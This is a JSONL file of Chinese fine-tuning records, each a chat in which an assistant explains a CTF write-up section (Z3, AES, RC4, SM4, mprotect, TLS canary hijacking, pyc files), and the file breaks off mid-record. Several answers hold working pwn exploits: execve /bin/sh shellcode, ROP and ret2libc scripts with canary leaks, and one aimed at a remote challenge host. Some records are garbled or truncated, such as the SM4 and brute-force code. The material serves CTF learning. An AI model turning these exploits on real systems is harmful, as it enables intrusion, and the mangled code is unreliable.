{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-71f06070982ee0b834cc", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《SMC自修改代码》中“内存权限修改”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《SMC自修改代码》的“内存权限修改”。\n语言/类型：c\n关联知识点：\n- 在不同的系统中定义有不同的 API 函数来修改内存权限。\n- 在 Linux 系统中，可以通过`mprotect`函数修改目标内存的权限。\n- `mprotect`是 Linux 系统的一个 API 函数，可以改写内存权限。这个函数的原型如下：\n- 第一个参数：开始地址（为了页对齐，该地址必须是一个内存页的起始地址，即页大小整数倍，1 页 = 4k = 0x1000）\n- 第二个参数：指定长度（长度也应该是页的整倍数，即 0x1000 的整数倍）\n代码片段：\n```c\nint mprotect(void *addr, size_t len, int prot);\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::46b91276c2fdf2a8", "original_line": 829, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "内存权限修改", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "46b91276c2fdf2a8", "source_split": "train", "split": "train", "split_group_key": "b61a5a9e1b05a515b5c5f1bb", "tags": ["reverse", "ctf-method"], "title": "SMC自修改代码", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-72dccab8d9f77ea7766f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Z3》的“常量表示”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Z3 / 常量表示\n关键词：val、z3、BitVecVal、bit、vector、IntVal、integer、RealVal、real、number\n蒸馏要点：\n- 除了 python 原有的常量数据类型外，我们也可以使用`z3`自带的常量类型参与运算：\n可用于训练的标准回答：\n### 常量表示\n\n除了 python 原有的常量数据类型外，我们也可以使用`z3`自带的常量类型参与运算：\n\n```python\n>>> z3.IntVal(val = 114514) # integer\n114514\n>>> z3.RealVal(val = 1919810) # real number\n1919810\n>>> z3.BitVecVal(val = 1145141919810, bv = 32) # bit vector，自动截断\n2680619074\n>>> z3.BitVecVal(val = 1145141919810, bv = 64) # bit vector\n1145141919810\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3a7d7ace3af8e2cd", "original_line": 726, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "常量表示", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3a7d7ace3af8e2cd", "source_split": "train", "split": "train", "split_group_key": "bf10c0b564523f4b431b9030", "tags": ["reverse"], "title": "Z3", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7330ea300d81b232d22a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“劫持TLS”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 在开启`canary`的情况下，当程序在线程创建线程的时候，会创建一个TLS（Thread Local Storage），这个TLS会存储canary的值，而TLS会保存在stack高地址的地方。\n2. 那么，当我们溢出足够大的字节覆盖到TLS所在的地方，就可以控制TLS结构体，进而控制canary到我们想要的值，实现ROP。\n3. Linux 下`fs`寄存器指向当前栈的`TLS`结构，`fs:0x28`指向的是`TLS`结构中的`stack_guard`值，如果可以覆盖位于`TLS`中的`canary`初始值就可以绕过`canary`保护。\n4. `TLS`中的`canary`是可写的\n5. 格式化字符串任意地址写覆盖canary\n6. gyctf_2020_bfnote", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::96ef3c5d11f4bf35", "original_line": 933, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "劫持TLS", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "96ef3c5d11f4bf35", "source_split": "train", "split": "train", "split_group_key": "baf93ca5a516a501b96b4fd6", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-738acd98be43bbaaba65", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“\\[GDOUCTF 2023\\]Shellcode”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“\\[GDOUCTF 2023\\]Shellcode”。\n语言/类型：python\n代码片段：\n```python\nfrom pwn import *\n\nio=process(\"./pwn\")\ncontext(log_level=\"debug\",arch=\"amd64\")\noff=18\n#shellcode=\"\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05\"\n\n#rsi寄存器清零\n#将rsi压栈，作为字符串终止符\n#将/bin/sh的十六进制编码加载到rdi寄存器\n#0x68 -> h\n#0x73 -> s\n#0x2f -> /\n#0x2f -> /\n#0x6e -> n\n#0x69 -> i\n#0x62 -> b\n#0x2f -> /\n#将rdi压栈\n#将当前栈指针压栈\n#将栈顶弹出到rdi，即rdi指向/bin/sh字符串\n#将系统调用号0x3b压栈\n#将栈顶弹入rax寄存器\n#cdq指令用于将eax寄存器的符号扩展到edx:eax，指令执行时eax寄存器的值符号扩展到edx寄存器\n#触发系统调用\nshellcode='''\nxor rsi,rsi\npush rsi\nmov rdi,0x68732f2f6e69622f\npush rdi\npush rsp\npop rdi\npush 0x3b\npop rax\ncdq\nsyscall\n'''\npay1=asm(shellcode)\nio.sendlineafter(b'Please.\\n',pay1)\npay2=b'a'*off+p64(0x6010a0)\nio.sendlineafter( b\"Let's start!\\n\",pay2)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0cc5db17aa0b9af3", "original_line": 1014, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "\\[GDOUCTF 2023\\]Shellcode", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0cc5db17aa0b9af3", "source_split": "train", "split": "train", "split_group_key": "53a124c02e807546a98e4b8e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-738c92a508ec1a6c6e6c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“算法逻辑”？请用《SM4 算法》中的内容回答。", "role": "user"}, {"content": "1. int len = sm4_encrypt(key, plaintext, ciphertext);\n2. // 输出加密结果\n3. if (len >= 0) {\n4. printf(\"Ciphertext (hex): \");\n5. for (int i = 0; i > 24) & 0xFF];\n6. s1 = SBOX[(x >> 16) & 0xFF];", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::54131c0c3b18743d", "original_line": 902, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "算法逻辑", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "54131c0c3b18743d", "source_split": "train", "split": "train", "split_group_key": "24f175273debdd5c00684219", "tags": ["crypto"], "title": "SM4 算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-73dfc1852174396df97f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“劫持TLS”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / 劫持TLS（第 2 段）\n关键词：sendlineafter、your、Give、title、str、pause、send、size、invalid、please\n蒸馏要点：\n- p.sendlineafter(\"Give your title size : \",str(0x5170c-0x10))\n- p.sendlineafter(\"invalid ! please re-enter :\\n\",str(0x18))\n- p.sendlineafter(\"\\nGive your title : \",'c'*0x10)\n- p.sendlineafter(\"Give your note : \",p32(0xdeadbeef))\n- p.send('\\x40')\n- p.send(\"/bin/sh\\x00\")\n- p.interactive()\n可用于训练的标准回答：\np.sendlineafter(\"Give your title size : \",str(0x5170c-0x10))\np.sendlineafter(\"invalid ! please re-enter :\\n\",str(0x18))\np.sendlineafter(\"\\nGive your title : \",'c'*0x10)\np.sendlineafter(\"Give your note : \",p32(0xdeadbeef))\n\npause()\np.send('\\x40')\npause()\np.send(\"/bin/sh\\x00\")\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d5e541320a8cbb08", "original_line": 858, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "劫持TLS", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d5e541320a8cbb08", "source_split": "train", "split": "train", "split_group_key": "5022eb489d84e97cc5614e5c", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-740ad5bf0795cf5c7fb5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ezstack”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ezstack”。\n语言/类型：python\n关联知识点：\n- `main`函数会返回到`stack`函数执行，`stack`函数中存在栈溢出。\n- 发现`vuln`中存在`system`函数，并且将输入的内容作为`system`函数的参数执行。\n- 但是对输入的内容做了过滤，如果内容中包含`s、h、c、f `等字符则报错返回。\n- 所以我们要拿到 shell，必须输入一个不被过滤的字符。\n- `$0`也可以用于获取 shell。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\noff=56\n#ret用于平栈\nret=0x000000000040101a\npayload=b'\\x00'*off+p64(ret)+p64(elf.sym.vuln)\n\nsl(payload)\n#$0也可以获取shell\nsla(\"command\\n\",b\"$0\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::ddcbaffe2f507bda", "original_line": 52, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ezstack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "ddcbaffe2f507bda", "source_split": "test", "split": "train", "split_group_key": "1b6acb12a4e3059631e98269", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-74b18c091ea3427590f4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《暴力破解》中“标准输入”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《暴力破解》的“标准输入”。\n语言/类型：c\n关联知识点：\n- import subprocess\n- exe_path = './re.exe'\n- table = {}\n- chartable = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}=\"\n- for i in chartable:\n代码片段：\n```c\n#include\n#include\n#include\n\n#define LEN 22\n#define CHARSET \"!\\\"#$%&'()*+,-./0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\"\n\nvoid try_password(const char *pwd) {\n    char cmd[1024];\n    snprintf(cmd, sizeof(cmd), \"./target_program %s\", pwd);\n\n    FILE *fp = popen(cmd, \"r\");\n    if (!fp) {\n        perror(\"popen\");\n        exit(1);\n    }\n\n    char output[1024];\n    int success = 0;\n    while (fgets(output, sizeof(output), fp)) {\n        if (strstr(output, \"Success\")) {\n            success = 1;\n        }\n    }\n    pclose(fp);\n\n    if (success) {\n        printf(\"Found password: %s\\n\", pwd);\n        exit(0);\n    }\n}\n\n// 示例：简单字典或启发式生成\nvoid brute_force_demo() {\n    // 这里只是演示前几位固定，真实策略要基于字典/规则\n    char pwd[LEN + 1] = \"AAAAAAAAAAAAAAAAAAAAAA\";  // 22 个 A\n    for (int i = 0; i 2024长城杯dumpG\n\n- exp\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a5c7242a70c4d28a", "original_line": 810, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "标准输入", "source": "例题/爆破/暴力破解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a5c7242a70c4d28a", "source_split": "train", "split": "train", "split_group_key": "9f7a3b09a25fad1e87053647", "tags": ["ctf-method"], "title": "暴力破解", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-74ca0559e9b7e507e938", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“简介”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：AES / 简介\n关键词：AES、DES、Advanced、Encryption、Standard、加密和解密、加密算法、所以人们需要一种算法、是对称加密算法、也是分组加密算法\n蒸馏要点：\n- AES （Advanced Encryption Standard）的出现主要是为了取代 DES 加密算法。因为在现如今计算机的处理能力以及使得破解 DES 变得可行，所以人们需要一种算法来取代 DES 算法确保安全性，所以 AES 应运而生。\n- AES（Advanced Encryption Standard）是对称加密算法，也是分组加密算法。\n- 分组加密（也称为块加密）是指一次加密明文中的一个固定大小的数据块。明文被分为若干个固定长度的块，每个块经过加密算法处理后生成相应的密文块，解密时再还原为原始的明文块。具有代表性的块加密算法包括 DES、AES、3DES 等。\n- 明文 `P`：指未经加密的原始数据，也称为原文。\n- 密文 `C`：指经过加密处理后的数据，不易被理解或还原。\n- 密钥 `K`：加密和解密过程中所使用的关键数据。在对称加密中，加密和解密使用的是同一密钥。\n- AES 加密函数：记 AES 加密函数为 `E`，则加密过程可以表示为：C = E(K, P)。即将明文 `P` 和密钥 `K` 作为加密函数 `E` 的输入，输出为密文 `C`。\n可用于训练的标准回答：\n## 简介\n\nAES （Advanced Encryption Standard）的出现主要是为了取代 DES 加密算法。因为在现如今计算机的处理能力以及使得破解 DES 变得可行，所以人们需要一种算法来取代 DES 算法确保安全性，所以 AES 应运而生。\n\nAES（Advanced Encryption Standard）是对称加密算法，也是分组加密算法。\n\n分组加密（也称为块加密）是指一次加密明文中的一个固定大小的数据块。明文被分为若干个固定长度的块，每个块经过加密算法处理后生成相应的密文块，解密时再还原为原始的明文块。具有代表性的块加密算法包括 DES、AES、3DES 等。\n\n- 明文 `P`：指未经加密的原始数据，也称为原文。\n- 密文 `C`：指经过加密处理后的数据，不易被理解或还原。\n- 密钥 `K`：加密和解密过程中所使用的关键数据。在对称加密中，加密和解密使用的是同一密钥。\n- AES 加密函数：记 AES 加密函数为 `E`，则加密过程可以表示为：C = E(K, P)。即将明文 `P` 和密钥 `K` 作为加密函数 `E` 的输入，输出为密文 `C`。\n- AES 解密函数：记 AES 解密函数为 `D`，则解密过程可以表示为：P = D(K, C)。即将密文 `C` 和密钥 `K` 作为解密函数 `D` 的输入，输出为明文 `P`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::test::distilled_training_data::test::f1ec8afa0023b1c3", "original_line": 51, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "简介", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "f1ec8afa0023b1c3", "source_split": "test", "split": "train", "split_group_key": "01d8a17e12c2d9f3aa7c52b7", "tags": ["crypto"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-74ce4f23f79e1822d2e7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RC4 算法》的“魔改RC4”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：RC4 算法 / 魔改RC4\n关键词：enc、rc4、v8 = (v8 + *(k + a1) + v9[k] + 1300) % 256;、*(a2 + i) = (*(v8 + a1) ^ *(a2 + i)) + 20;、key、range、YLCTF、len、xorplus、ida\n蒸馏要点：\n- YLCTF xorplus\n- ida 反编译，从函数名称就可以判断为 rc4 加密，接下来我们寻找密钥。\n- 在主函数中找到密钥，然后分析 rc4 算法是否是标准 rc4。\n- 分析发现在 rc4 初始化部分存在魔改，即`v8 = (v8 + *(k + a1) + v9[k] + 1300) % 256;`。\n- 接下来分析一下加密部分。\n- 算法加密部分同样存在魔改，`*(a2 + i) = (*(v8 + a1) ^ *(a2 + i)) + 20;`。\n- 最后我们获取平台给的密文，然后根据魔改后的加密代码逻辑编写解密代码。\n可用于训练的标准回答：\n### 魔改RC4\n\n>YLCTF xorplus\n\n- 分析\n\nida 反编译，从函数名称就可以判断为 rc4 加密，接下来我们寻找密钥。\n\n在主函数中找到密钥，然后分析 rc4 算法是否是标准 rc4。\n\n分析发现在 rc4 初始化部分存在魔改，即`v8 = (v8 + *(k + a1) + v9[k] + 1300) % 256;`。\n\n接下来分析一下加密部分。\n\n算法加密部分同样存在魔改，`*(a2 + i) = (*(v8 + a1) ^ *(a2 + i)) + 20;`。\n\n最后我们获取平台给的密文，然后根据魔改后的加密代码逻辑编写解密代码。\n\n- exp\n\n```python\nenc=[0x91,0x86,0x1b,0x2d,0x9e,0x6f,0x58,0x31,0x46,0xf0,0xed,0xa2,0xcc,0x90,0x22,0x15,0x8d,0xa2,0x61,0x2d,0x80,0x5a,0x74,0x16,0x6c,0x75,0x81,0x46,0x7e,0x26,0xb5,0x9f,0x85,0x76,0x5d,0xfe,0xb7,0x52,0x54,0xc8,0x4,0x35,0xa6]\n\ns=[0]*256\nkey=\"welcometoylctf\"\nfor i in range(256):\n    s[i]=i\nv6 = 0\n\nfor j in range(256):\n    v6=(ord(key[j%len(key)])+v6+s[j] + 1300)%256\n    s[j],s[v6]=s[v6],s[j]\n\nv7 = 0\nv8 = 0\n\nfor k in range(len(enc)):\n    v8 = (v8 + 1) % 256\n    v7 = (v7 + s[v8]) % 256\n    s[v8],s[v7]=s[v7],s[v8]\n    enc[k] = (enc[k] - 20) & 0xff\n    enc[k] ^= s[(s[v7] + s[v8]) % 256]\n\nprint(bytes(enc...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::357608950502086c", "original_line": 964, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "魔改RC4", "source": "例题/RC4/RC4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "357608950502086c", "source_split": "train", "split": "train", "split_group_key": "416cdc40cec56d1689f36376", "tags": ["reverse", "crypto", "ctf-method"], "title": "RC4 算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-752a4cbe438c6aef232c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Z3》的“约束求解”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Z3 / 约束求解\n关键词：check()、z3.sat、z3.unsat、python\ns.check()、若约束可以被满足，则我们可以通过、方法获取到一组解：、python\ns.model()、对于约束条件比较少的情况，我们也可以无需创建求解器，直接通过、方法进行求解：、check\n蒸馏要点：\n- 当我们向求解器中添加约束条件之后，我们可以使用`check()`方法检查约束是否是可满足的（satisfiable，即z3是否能够帮我们找到一组解）：\n- `z3.sat`：约束可以被满足\n- `z3.unsat`：约束无法被满足\n- 若约束可以被满足，则我们可以通过`model()`方法获取到一组解：\n- 对于约束条件比较少的情况，我们也可以无需创建求解器，直接通过`solve()`方法进行求解：\n可用于训练的标准回答：\n### 约束求解\n\n当我们向求解器中添加约束条件之后，我们可以使用`check()`方法检查约束是否是可满足的（satisfiable，即z3是否能够帮我们找到一组解）：\n\n- `z3.sat`：约束可以被满足\n- `z3.unsat`：约束无法被满足\n\n```python\ns.check()\n```\n\n若约束可以被满足，则我们可以通过`model()`方法获取到一组解：\n\n```python\ns.model()\n```\n\n对于约束条件比较少的情况，我们也可以无需创建求解器，直接通过`solve()`方法进行求解：\n\n```python\nz3.solve(z3.Implies(p,q),r==z3.Not(q),z3.Or(z3.Not(p),r))\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::edc44b1595dc6497", "original_line": 869, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "约束求解", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "edc44b1595dc6497", "source_split": "train", "split": "train", "split_group_key": "76f585aa38fa4f93f9b61889", "tags": ["reverse"], "title": "Z3", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-756b6283f148dcae9920", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“创建及使用”？请用《Pyc：pyc文件》中的内容回答。", "role": "user"}, {"content": "1. pyc 文件是 python 在编译 py 文件过程中出现的主要中间过程文件，是一种二进制文件，是一种bytecode。\n2. 我们可以通过 py_compile 模块来生成 pyc 文件，或者通过 python -m test.py 命令来生成 pyc 文件：\n3. 两种操作都会在当前目录下新建一个 `__pycache__` 目录，其中存放着 test.cpython-版本号.pyc。\n4. 如果有一个现成的pyc 文件，如何导入它。\n5. 先写个`test.py`\n6. 我们可以通过 py_compile 模块来生成 pyc 文件。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::test::distilled_training_data::test::3184aaa05e3648d4", "original_line": 8, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "创建及使用", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "3184aaa05e3648d4", "source_split": "test", "split": "train", "split_group_key": "bf7c89d30f76cdddd50278b4", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-75b9f2e5b76e0ad41c81", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[2021 鹤城杯\\]littleof”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[2021 鹤城杯\\]littleof\n关键词：p64、canary、puts、payload、libc、recvuntil、puts_addr、libc_base、LibcSearcher、pwnfile\n可用于训练的标准回答：\n### \\[2021 鹤城杯\\]littleof\n\n#ret2libc  #canary #LibcSearcher\n```python\nfrom pwn import *\nfrom LibcSearcher import *\n\npwnfile=\"./littleof\"\n#io=process(pwnfile)\nio=remote(\"node4.anna.nssctf.cn\",28234)\nelf=ELF(pwnfile)\noff=72\ncontext(log_level=\"debug\",arch=\"amd64\")\nrdi=0x0000000000400863\nret=0x000000000040059e\n\n#泄露 canary\npay=b'a'*off+b'b'\nio.recvuntil(b'Do you know how to do buffer overflow?\\n')\nio.send(pay)\nio.recvuntil(b\"b\")\ncanary=u64(io.recv(7)+b\"\\x00\")*0x100\nprint(\"canary:\",hex(canary))\n\n#泄露 puts 地址\npayload=b'a'*(0x50-8)+p64(canary)+b'a'*8+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x4006e2)\nio.recvuntil(b'harder!')\nio.sendline(payload)\nputs_addr=u64(io.recvuntil(b\"\\x7f\")[-6:].ljust(8,b'\\x00'))\nprint(\"puts:\",hex(puts_addr))\n\n#搜索 libc\nlibc=LibcSearcher(\"puts\",puts_addr)\nlibc_base=puts_addr-libc.dump(\"puts\")\nprint(\"puts\",hex(libc_base))\nsys=libc_base+libc.dump(\"system\")\nsh=libc_base...", "role": "assistant"}], "metadata": {"category": "misc", 